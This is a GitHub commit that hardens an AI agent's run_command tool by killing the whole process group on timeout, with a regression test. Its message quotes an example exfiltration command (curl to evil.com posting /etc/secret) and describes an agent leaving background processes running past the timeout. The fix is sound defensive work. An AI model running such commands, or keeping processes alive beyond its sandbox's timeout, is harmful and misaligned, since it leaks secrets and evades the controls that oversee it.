Skip to content

Commit c026153

Browse files
committed
fix(security): kill descendant processes when run_command times out
Tokio's kill_on_drop only kills the direct child (the shell), not the shell's descendants. An agent could exploit this to leave long-running processes behind: run_command sh -c '(curl evil.com -d @/etc/secret &)' # parent shell exits in milliseconds; backgrounded curl # keeps running for the full TCP timeout, exfiltrating # data even after the timeout fires and the tool call # returns "Command timed out". run_command sh -c '(sleep 3600 &)' # crypto miner, beacon, etc — survives forever. Empirically confirmed: with the previous code, the orphan continues to run after the parent shell is dropped, because it inherits the parent process group and is reparented to PID 1. The fix: - Spawn the child in its own process group on Unix (process_group(0)). - Capture the child PID before consuming the handle. - On timeout, killpg(SIGKILL) the entire group so every descendant the shell forked is reaped, not just the shell itself. - Restructure I/O capture to drive stdout/stderr reads alongside wait() instead of using wait_with_output, since we need the child handle to remain accessible for the kill path. Adds libc as a Unix-only dependency (only used for killpg). A regression test schedules a backgrounded descendant that would write a proof file 3 seconds after the parent shell exits. Before the fix the file appears; after the fix it does not.
1 parent 8ff8d61 commit c026153

2 files changed

Lines changed: 86 additions & 10 deletions

File tree

src-tauri/Cargo.toml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -36,6 +36,9 @@ globset = "0.4"
3636
regex = "1"
3737
urlencoding = "2"
3838

39+
[target.'cfg(unix)'.dependencies]
40+
libc = "0.2"
41+
3942
[profile.release]
4043
opt-level = 3
4144
lto = true

src-tauri/src/tools/executor.rs

Lines changed: 83 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -307,23 +307,61 @@ impl ToolExecutor {
307307
.stderr(Stdio::piped())
308308
.kill_on_drop(true);
309309

310-
let child = command.spawn().map_err(AppError::from)?;
310+
// On Unix, place the child in its own process group so we can kill any
311+
// descendants the shell backgrounds. Without this, a command like
312+
// `sh -c "sleep 60 &"` orphans the sleep when sh exits or is killed —
313+
// it survives the timeout and continues to run with the agent's privileges.
314+
#[cfg(unix)]
315+
command.process_group(0);
316+
317+
let mut child = command.spawn().map_err(AppError::from)?;
318+
319+
// Capture the leader pid before wait_with_output consumes it. This is the
320+
// process group ID since we requested process_group(0).
321+
#[cfg(unix)]
322+
let pgid = child.id().map(|id| id as i32);
323+
324+
let stdout_pipe = child.stdout.take();
325+
let stderr_pipe = child.stderr.take();
326+
327+
let wait_future = async move {
328+
let mut stdout_buf = Vec::new();
329+
let mut stderr_buf = Vec::new();
330+
if let Some(mut out) = stdout_pipe {
331+
let _ = tokio::io::AsyncReadExt::read_to_end(&mut out, &mut stdout_buf).await;
332+
}
333+
if let Some(mut err) = stderr_pipe {
334+
let _ = tokio::io::AsyncReadExt::read_to_end(&mut err, &mut stderr_buf).await;
335+
}
336+
let status = child.wait().await?;
337+
Ok::<_, std::io::Error>((status, stdout_buf, stderr_buf))
338+
};
311339

312-
match tokio::time::timeout(self.command_timeout, child.wait_with_output()).await {
313-
Ok(Ok(output)) => {
314-
let stdout = String::from_utf8_lossy(&output.stdout);
315-
let stderr = String::from_utf8_lossy(&output.stderr);
316-
let exit_code = output.status.code().unwrap_or(-1);
340+
match tokio::time::timeout(self.command_timeout, wait_future).await {
341+
Ok(Ok((status, stdout, stderr))) => {
342+
let stdout = String::from_utf8_lossy(&stdout);
343+
let stderr = String::from_utf8_lossy(&stderr);
344+
let exit_code = status.code().unwrap_or(-1);
317345
Ok(format!(
318346
"exit_code: {}\nstdout:\n{}\nstderr:\n{}",
319347
exit_code, stdout, stderr
320348
))
321349
}
322350
Ok(Err(error)) => Err(AppError::from(error)),
323-
Err(_) => Err(AppError::Internal(format!(
324-
"Command timed out after {}s",
325-
self.command_timeout.as_secs()
326-
))),
351+
Err(_) => {
352+
#[cfg(unix)]
353+
if let Some(pgid) = pgid {
354+
// Kill the entire process group so backgrounded descendants don't survive.
355+
// SAFETY: killpg with a valid pgid we just spawned is a safe syscall.
356+
unsafe {
357+
libc::killpg(pgid, libc::SIGKILL);
358+
}
359+
}
360+
Err(AppError::Internal(format!(
361+
"Command timed out after {}s",
362+
self.command_timeout.as_secs()
363+
)))
364+
}
327365
}
328366
}
329367

@@ -825,6 +863,41 @@ mod tests {
825863
cleanup("run_cmd_timeout");
826864
}
827865

866+
#[tokio::test]
867+
#[cfg(unix)]
868+
async fn test_run_command_timeout_kills_backgrounded_children() {
869+
// Regression: with only kill_on_drop on the parent shell, a command like
870+
// `sh -c "sleep 60 &"` orphans the sleep when sh exits or is killed —
871+
// the descendant survives the timeout and continues running with the
872+
// agent's privileges. The fix puts the child in its own process group
873+
// and killpg's the whole group on timeout.
874+
let sandbox_path = with_sandbox("run_cmd_orphan");
875+
let proof = sandbox_path.join("orphan_proof.txt");
876+
let proof_str = proof.to_string_lossy().to_string();
877+
878+
let mut executor = ToolExecutor::new(sandbox_path);
879+
executor.command_timeout = Duration::from_millis(300);
880+
881+
let call = ToolCall {
882+
tool: ToolName::RunCommand,
883+
input: serde_json::json!({
884+
"command": format!("(sleep 3 && echo orphan > '{}') &", proof_str),
885+
}),
886+
};
887+
let result = executor.execute(call).await;
888+
assert!(result.is_error, "timeout should trigger error");
889+
890+
// Wait long enough that the orphan WOULD have written its file if it survived.
891+
tokio::time::sleep(Duration::from_secs(5)).await;
892+
assert!(
893+
!proof.exists(),
894+
"backgrounded descendant must be killed with the process group, but it wrote: {}",
895+
proof.display()
896+
);
897+
898+
cleanup("run_cmd_orphan");
899+
}
900+
828901
// ── validate_path edge cases ─────────────────────────────────────────────
829902

830903
#[tokio::test]

0 commit comments

Comments
 (0)